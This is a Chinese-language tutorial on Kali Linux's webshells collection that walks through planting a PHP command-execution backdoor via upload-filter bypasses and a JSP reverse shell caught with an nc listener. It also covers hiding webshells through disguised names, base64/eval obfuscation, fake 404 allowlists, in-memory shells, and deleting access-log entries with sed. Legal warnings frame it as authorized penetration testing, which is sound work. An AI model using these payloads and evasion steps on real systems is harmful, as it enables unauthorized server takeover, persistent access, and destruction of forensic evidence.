在Kali Linux的Web渗透测试工具生态中,webshells是一款专注于Web后门(WebShell)资源整合的工具集,它汇集了针对不同Web开发语言(如PHP、ASP、JSP)的各类WebShell脚本,涵盖基础命令执行、文件管理、数据库操作等核心功能。作为渗透测试人员在后渗透阶段的“核心武器库”,webshells通过提供“即拿即用”的Web后门资源,帮助测试人员在获取目标Web应用初步访问权限后,快速建立持久化控制通道,实现对目标服务器的深度渗透。本文将从工具概述、核心功能、目录结构解析、使用场景及注意事项等方面,对webshells工具集进行全面详细的介绍。
一、webshells工具集概述
1. 工具定义
webshells是Kali Linux默认预装的Web后门资源集合,核心定位是“多语言WebShell脚本仓库”。WebShell本质是一段可在Web服务器上执行的恶意脚本,通过Web应用的文件上传漏洞、代码注入漏洞等方式植入目标服务器后,可实现“通过HTTP/HTTPS协议远程控制服务器”的功能(如执行系统命令、管理文件、操作数据库)。webshells工具集将不同语言、不同功能的WebShell脚本按类别整理,覆盖主流Web开发技术栈,无需测试人员手动编写复杂脚本,大幅降低Web后门植入与使用的技术门槛。
2. 开发背景与目标
在Web渗透测试中,“植入WebShell”是后渗透阶段的关键步骤——它能将“一次性的漏洞利用”转化为“长期的持久化控制”。但手动编写WebShell存在两大痛点:一是“语言适配难”——不同Web应用使用PHP、ASP、JSP等不同开发语言,需针对性编写脚本;二是“功能覆盖不全”——基础WebShell仅支持命令执行,而实战中还需文件上传、数据库查询等功能。webshells的开发目标正是解决这些痛点:通过整合社区验证的高质量WebShell脚本,按语言分类整理,提供“功能全面、兼容性强”的Web后门资源,帮助测试人员快速适配目标环境,提升渗透测试效率与成功率。
3. 主要特点
- 多语言全覆盖:支持主流Web开发语言,包括PHP、ASP、ASPX、JSP、CFM、Perl,同时通过软链接关联Laudanum工具集的WebShell资源,覆盖Windows、Linux等不同操作系统的Web服务器环境。
- 功能场景化分类:每个语言目录下的WebShell按功能细分,涵盖“基础命令执行”(如一句话木马)、“多功能管理”(如文件上传/下载、进程管理)、“数据库操作”(如MySQL查询、SQL Server连接),适配不同渗透需求。
- 兼容性强:脚本经过多版本Web服务器(如Apache、IIS、Tomcat)与PHP/Java环境测试,支持低版本(如PHP 5.x)与高版本(如PHP 8.x)环境,减少因环境差异导致的脚本失效问题。
- 轻量易部署:所有WebShell均为纯文本脚本,体积小巧(多数仅几KB至几十KB),可通过简单的文件上传、代码注入等方式快速植入,无需额外依赖库或编译步骤。
- 资源联动性:通过软链接(
laudanum -> /usr/share/laudanum)关联Kali中的Laudanum工具集,实现WebShell资源的“一站式获取”,避免测试人员在多个工具目录间切换。
4. 适用场景
webshells工具集主要适用于Web渗透测试的后渗透阶段,具体包括以下核心场景:
- 文件上传漏洞利用:当目标Web应用存在文件上传漏洞(如未限制.php/.asp后缀、未过滤恶意代码)时,从
webshells中选择对应语言的WebShell,伪装后上传(如将.php改为.php.jpg绕过检测),获取服务器控制权限。 - 代码注入漏洞利用:通过SQL注入、远程代码执行(RCE)等漏洞,将
webshells中的脚本内容注入目标Web应用的文件(如通过SQL注入写入一句话木马到网站根目录),实现无文件上传的WebShell植入。 - Web服务器持久化控制:在获取目标服务器初步控制权后,植入
webshells中的多功能WebShell(如支持文件管理、数据库操作),作为长期控制通道,即使初始漏洞被修复,仍可通过WebShell访问服务器。 - 权限提升辅助:利用WebShell执行系统命令(如查看进程、读取敏感文件
/etc/passwd),收集目标服务器信息,为后续的本地权限提升(如利用SUID漏洞、内核漏洞)提供数据支持。 - 安全防护测试:企业安全团队可使用
webshells中的脚本,测试内部Web应用的后门检测能力(如Web应用防火墙WAF是否能拦截WebShell上传、杀毒软件是否能识别恶意脚本),完善防护体系。
二、webshells目录结构(中文翻译与说明)
在Kali Linux中,webshells的默认安装路径为/usr/share/webshells,目录按Web开发语言划分子目录,部分目录通过软链接关联其他工具的WebShell资源。以下是完整目录结构的中文翻译及详细功能说明表格:
| 英文目录 | 中文翻译 | 功能说明与典型脚本示例 |
|---|---|---|
| /usr/share/webshells | webshells主目录 | webshells工具集的核心存储目录,包含所有语言子目录、软链接及说明文档,是WebShell资源的“根路径”;目录下还包含README类文件,简要介绍工具集用途。 |
| asp | ASP语言WebShell目录 | 存放基于ASP(Active Server Pages)语言编写的WebShell,适配运行在IIS服务器上的Windows Web应用,支持执行Windows系统命令、管理文件。 典型脚本示例:
|
| aspx | ASPX语言WebShell目录 | 包含基于ASP.NET(aspx)语言编写的WebShell,适配IIS服务器的ASP.NET应用,相比ASP脚本功能更强、兼容性更广,支持.NET框架API调用。 典型脚本示例:
|
| cfm | CFM语言WebShell目录 | 存放基于CFM(ColdFusion Markup Language)语言编写的WebShell,适配运行ColdFusion服务器的Web应用(常见于企业内部系统),支持跨Windows/Linux平台。 典型脚本示例:
|
| jsp | JSP语言WebShell目录 | 包含基于JSP(JavaServer Pages)语言编写的WebShell,适配Tomcat、JBoss等Java Web服务器,支持跨Windows、Linux、Unix平台,可调用Java核心类库。 典型脚本示例:
|
| laudanum -> /usr/share/laudanum | Laudanum工具集软链接 | 通过软链接关联Kali中的Laudanum工具集(专注于Web后门与恶意脚本的工具),实现WebShell资源的联动。Laudanum包含更多场景化脚本(如WordPress专用后门、免杀优化脚本),可补充webshells的资源覆盖范围。访问方式:进入该目录即等同于访问 /usr/share/laudanum,可直接使用Laudanum中的ASP/PHP/JSP等脚本。 |
| perl | Perl语言WebShell目录 | 存放基于Perl语言编写的WebShell,适配支持Perl脚本的Web服务器(如Apache+mod_perl),常见于Linux/Unix系统,脚本执行效率高、语法灵活。 典型脚本示例:
|
| php | PHP语言WebShell目录 | webshells中使用频率最高的目录,包含基于PHP语言编写的各类WebShell,适配Apache、Nginx等支持PHP的Web服务器(跨Windows/Linux平台),脚本数量多、功能覆盖全。典型脚本示例:
|
三、webshells完整使用教程
webshells工具集的核心使用流程为“选择适配脚本→植入目标服务器→访问并控制”,核心是根据目标Web应用的开发语言(如PHP、ASPX)选择对应目录的WebShell,结合漏洞场景完成植入。以下结合“PHP文件上传漏洞利用”“JSP反向Shell植入”两个高频场景,详细介绍使用步骤:
1. 基础环境准备
Kali Linux默认预装webshells,无需额外安装。通过以下命令查看目录结构,确认资源完整性:
# 进入webshells主目录
cd /usr/share/webshells
# 查看所有子目录
ls -l # 输出asp、aspx、cfm、jsp、laudanum、perl、php目录,说明资源完整
# 查看PHP目录下的核心脚本(示例)
ls php/ # 输出php-reverse-shell.php、cmd.php等脚本
若目录缺失或脚本不完整,可通过以下命令重新安装:
sudo apt update && sudo apt install webshells
2. 场景1:PHP文件上传漏洞植入WebShell(获取命令执行权限)
目标:目标Web应用为PHP开发(如Apache+PHP环境),存在文件上传漏洞(允许上传.php文件且未过滤恶意代码),植入webshells中的PHP命令执行脚本,获取目标服务器命令执行权限。
- 步骤1:选择并准备PHP WebShell
选择PHP目录下的基础命令执行脚本
cmd.php,复制到本地目录便于修改(若需简单定制,如添加密码验证):# 复制cmd.php到当前用户目录(/root) cp /usr/share/webshells/php/cmd.php ~/ # (可选)添加密码验证,避免WebShell被他人滥用 nano ~/cmd.php在脚本开头添加密码验证逻辑(示例):
<?php // 添加密码验证:仅当POST参数pass为"webshell123"时执行命令 if ($_POST['pass'] !== 'webshell123') { die('Access Denied'); } // 原命令执行逻辑 if (isset($_POST['cmd'])) { $cmd = $_POST['cmd']; system($cmd); } ?> <form method="post"> 密码:<input type="password" name="pass"><br> 命令:<input type="text" name="cmd"><br> <input type="submit" value="执行"> </form>保存并退出编辑器(nano中按Ctrl+O保存,Ctrl+X退出)。
- 步骤2:通过文件上传漏洞植入脚本
访问目标Web应用的文件上传页面(如“upload.php”),执行以下操作:
- 点击“选择文件”,选择修改后的
cmd.php脚本。 - 若目标限制上传.php文件(如提示“仅允许上传图片”),通过“文件伪装”绕过:
- 方法1:修改文件名后缀为
cmd.php.jpg,利用Apache的“解析漏洞”(若服务器配置为“按后缀顺序解析”,会优先将.php.jpg按PHP解析)。 - 方法2:在脚本开头添加图片文件头(如GIF89a),伪装成图片文件:
echo -e "GIF89a\n$(cat ~/cmd.php)" > ~/cmd_伪装.php.jpg上传伪装后的文件
cmd_伪装.php.jpg。
- 方法1:修改文件名后缀为
- 点击“上传”按钮,若上传成功,目标会返回脚本的访问路径(如“http://目标IP/uploads/cmd.php”或“http://目标IP/uploads/cmd_伪装.php.jpg”),记录该路径。
- 点击“选择文件”,选择修改后的
- 步骤3:访问WebShell并执行命令
通过浏览器访问上传后的WebShell路径,验证命令执行功能:
- 在浏览器地址栏输入:
http://目标IP/uploads/cmd.php(或伪装后的路径)。 - 在页面中输入密码(如“webshell123”)与要执行的命令(如Linux的
whoami、Windows的ipconfig),点击“执行”按钮。 - 若页面返回命令执行结果(如Linux输出
www-data、Windows输出IP配置信息),说明WebShell植入成功,已获取目标服务器命令执行权限。
示例:执行
ls /var/www/html命令,可查看目标Web根目录的所有文件,为后续渗透(如查找敏感配置文件)提供基础。 - 在浏览器地址栏输入:
3. 场景2:JSP反向Shell植入(获取交互式Shell)
目标:目标Web应用为Java开发(Tomcat服务器),存在文件上传漏洞,植入webshells中的JSP反向Shell脚本,通过攻击机监听端口,获取目标服务器的交互式Shell(支持命令历史、管道操作)。
- 步骤1:配置JSP反向Shell脚本
选择JSP目录下的反向Shell脚本
reverse_shell.jsp,修改攻击机IP与监听端口:# 复制脚本到当前目录 cp /usr/share/webshells/jsp/reverse_shell.jsp ~/ # 编辑脚本,配置攻击机信息 nano ~/reverse_shell.jsp在脚本中找到以下配置项,替换为攻击机(Kali)的IP与未被占用的端口(如8080):
// 原配置(需修改) String host = "127.0.0.1"; // 攻击机IP int port = 4444; // 攻击机监听端口 // 修改后(示例) String host = "192.168.1.105"; // 攻击机实际IP(通过ifconfig查看) int port = 8080; // 选择未被占用的端口(如8080)保存并退出编辑器。
- 步骤2:攻击机开启监听端口
在Kali攻击机中,使用
nc命令监听步骤1中配置的端口(如8080),等待目标反向连接:# 监听8080端口,开启详细输出模式 nc -lvp 8080保持该终端窗口打开,不要关闭。
- 步骤3:上传并触发反向Shell
通过目标Web应用的文件上传功能,上传修改后的
reverse_shell.jsp脚本(若需伪装,参考场景1的文件伪装方法),记录上传后的访问路径(如“http://目标IP/upload/reverse_shell.jsp”)。通过浏览器或
curl命令访问该路径,触发反向Shell连接:# 使用curl访问,避免浏览器缓存影响 curl "http://目标IP/upload/reverse_shell.jsp" - 步骤4:验证交互式Shell
回到攻击机的
nc监听终端,若成功建立连接,会显示目标服务器的Shell提示符(如sh-4.4$或cmd.exe>),此时可执行任意系统命令:listening on [any] 8080 ... connect to [192.168.1.105] from (UNKNOWN) [192.168.1.106] 54321 sh-4.4$ whoami # 执行命令 tomcat # 输出目标服务器当前用户(Tomcat默认用户) sh-4.4$ ls /opt/tomcat/webapps # 查看Tomcat部署的Web应用 ROOT manager host-manager upload sh-4.4$ ps aux | grep tomcat # 查看Tomcat进程信息 tomcat 1234 0.5 10.2 123456 78900 ? Sl 09:00 0:30 /usr/bin/java -jar /opt/tomcat/bin/bootstrap.jar此时已通过JSP反向Shell获取目标服务器的交互式控制,可进行后续的权限提升(如利用Tomcat的高权限配置文件)、数据窃取等操作。
4. 关键补充:WebShell隐蔽性优化与管理
为降低WebShell被目标管理员或安全工具检测到的概率,需进行隐蔽性优化;同时,需规范管理WebShell,避免被他人滥用:
- 脚本命名伪装:将WebShell命名为正常文件名,如
logo.php、style.jsp、update.aspx,避免使用webshell.php、cmd.jsp等敏感名称,降低被管理员发现的概率。 - 代码混淆与加密:
- PHP脚本:使用
base64_encode()对核心代码进行编码,执行时解码(如eval(base64_decode('ZWNobyAiaGVsbG8iOw=='));)。 - JSP脚本:通过Java的
Base64.getDecoder().decode()解码核心逻辑,规避关键词检测(如Runtime、exec)。 - 利用
webshells/laudanum/helpers目录下的编码工具(如encode.php),自动完成代码混淆。
- PHP脚本:使用
- 访问控制限制:
- IP白名单:仅允许攻击机IP访问WebShell,拒绝其他IP请求(示例PHP代码):
$allow_ip = array('192.168.1.105'); // 攻击机IP if (!in_array($_SERVER['REMOTE_ADDR'], $allow_ip)) { die('404 Not Found'); // 伪装成404页面,隐藏WebShell存在 } - 动态密码:定期修改WebShell的访问密码,避免密码泄露导致控制权丢失。
- IP白名单:仅允许攻击机IP访问WebShell,拒绝其他IP请求(示例PHP代码):
- 日志清理:植入WebShell后,若有权限访问Web服务器日志(如Apache的
/var/log/apache2/access.log),删除包含WebShell访问记录的条目,避免被管理员通过日志发现异常:# 示例:删除包含"cmd.php"的日志条目(Linux) sed -i '/cmd.php/d' /var/log/apache2/access.log
四、使用webshells的注意事项
- 严格遵守合法授权:
webshells工具集包含的WebShell均为“恶意脚本”,仅可用于对“已获得明确书面授权”的Web应用与服务器进行测试。未经授权植入WebShell、控制他人服务器,可能违反《中华人民共和国网络安全法》《刑法》第285条(非法侵入计算机信息系统罪)、第286条(破坏计算机信息系统罪),将承担刑事责任;尤其注意:禁止将WebShell用于攻击互联网上的非授权系统。 - 区分测试环境与生产环境:
- 优先在“测试环境”(如企业内部的Web测试服务器)中使用
webshells,避免在“生产环境”(如对外业务网站)中直接植入WebShell——生产环境WebShell可能导致用户数据泄露、业务中断,且清理不彻底会留下长期安全隐患。 - 若需测试生产环境,必须提前与业务方沟通,明确测试时间窗口、操作范围与回滚方案,测试完成后立即删除所有WebShell脚本、清理访问日志,恢复目标系统至正常状态。
- 优先在“测试环境”(如企业内部的Web测试服务器)中使用
- 注意脚本兼容性与环境适配:
- 选择WebShell时,必须匹配目标Web应用的开发语言与服务器环境:如PHP脚本仅适用于支持PHP的服务器,JSP脚本仅适用于Java Web服务器,避免因语言不兼容导致脚本无法执行。
- 测试前通过“探针脚本”(如
phpinfo.php、jspinfo.jsp)获取目标环境信息(如PHP版本、Java版本、禁用的函数),例如:若目标PHP禁用了system()函数,需选择使用shell_exec()或passthru()的WebShell。
- 规避安全防护检测:
- 现代Web应用通常部署Web应用防火墙(WAF)、终端检测响应(EDR)、杀毒软件,需采取以下措施提升WebShell存活率:
- 避免使用“明文恶意代码”(如直接包含
eval($_POST['cmd'])),通过代码混淆、编码、分段执行等方式规避WAF关键词检测。 - 减少WebShell的访问频率,避免短时间内大量执行命令、上传文件,防止触发EDR的“异常行为告警”。
- 使用“内存马”替代传统文件WebShell(如通过JSP动态注入内存马),避免文件落地被杀毒软件扫描。
- 禁止滥用与数据泄露:
- 仅在授权范围内执行与测试目的相关的操作,不越权访问目标服务器的敏感数据(如用户密码、商业文档、数据库备份),不执行破坏性命令(如
rm -rf /、format)。 - 测试过程中获取的任何数据需严格保密,不得泄露、传播或用于测试以外的用途;测试完成后,彻底删除从目标服务器下载的所有数据,确保数据安全。
- 仅在授权范围内执行与测试目的相关的操作,不越权访问目标服务器的敏感数据(如用户密码、商业文档、数据库备份),不执行破坏性命令(如
- 学习WebShell防御技术:
- 在使用
webshells进行测试的同时,同步学习WebShell的防御方法(如文件上传过滤、代码执行限制、WAF规则配置),帮助目标方完善安全防护体系,实现“以攻促防”的测试目标。 - 了解最新的WebShell检测技术(如基于行为分析的AI检测、内存马检测工具),提升对新型WebShell的识别能力,避免使用已被广泛检测的老旧脚本。
- 在使用
五、总结
webshells作为Kali Linux中核心的Web后门资源集合,凭借“多语言覆盖、功能全面、即拿即用”的特点,成为Web渗透测试人员在后渗透阶段的重要工具。它通过整合高质量的WebShell脚本,解决了“手动编写脚本效率低、兼容性差”的痛点,帮助测试人员快速适配不同技术栈的Web应用,建立持久化控制通道,为后续的权限提升、数据收集提供基础。
然而,WebShell的强大功能也伴随着极高的法律与伦理风险。在使用webshells时,必须始终以“合法授权”为前提,严格区分测试环境与生产环境,避免对目标系统造成负面影响;同时,需深入理解WebShell的工作原理与检测防御技术,结合目标环境特点优化脚本的隐蔽性与兼容性,确保测试工作的合规性与有效性。通过合理、合规地使用webshells,不仅能提升Web渗透测试的技术水平,更能帮助企业认识WebShell的危害与防御要点,完善Web应用的安全防护体系(如加强文件上传审核、部署智能WAF、定期进行WebShell扫描)。

5061

被折叠的 条评论
为什么被折叠?



